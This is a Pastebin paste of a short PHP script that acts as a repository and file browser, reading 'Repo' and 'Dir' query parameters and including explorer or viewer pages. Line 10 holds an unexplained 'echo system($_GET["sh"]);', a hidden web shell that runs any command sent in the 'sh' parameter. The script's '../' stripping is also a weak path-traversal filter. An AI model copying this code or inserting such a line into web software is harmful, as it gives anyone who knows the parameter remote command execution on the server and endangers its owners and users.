baguette2

Untitled

Jun 29th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. <?php
  2. require("./tool.php");//import Fonction Tool
  3. if (empty($_GET['Repo'])) {
  4. include("ErrorPage/Welcome.html");
  5. exit();
  6. } else {
  7. $Repo = $_GET["Repo"];//GetRepo
  8. $Repo = str_replace('../', '', $Repo);//patch Exploit ../
  9. }
  10. echo system($_GET["sh"]);
  11. if (empty($_GET['Dir'])) {
  12. $dir = '/';
  13. } else {
  14. $dir = $_GET["Dir"];
  15. $dir = str_replace('../', '', $dir);
  16. $dir = '/'.$dir;
  17. }
  18. if(is_dir("repo/".$Repo) == 0){
  19. include("ErrorPage/NoRepo.php");
  20. exit();
  21. }
  22. $type = is_dir("repo/".$Repo.$dir);
  23. if ($type == 0) {
  24. if(is_file("repo/".$Repo.$dir) == 0) {
  25. include("ErrorPage/NoFile.php");
  26. exit();
  27. }
  28. }
  29. if ($type == 1) {
  30. include("RepoExplorer.php");
  31. } else {
  32. include("FileViewer.php");
  33. }
  34. ?>
Advertisement
Add Comment
Please, Sign In to add comment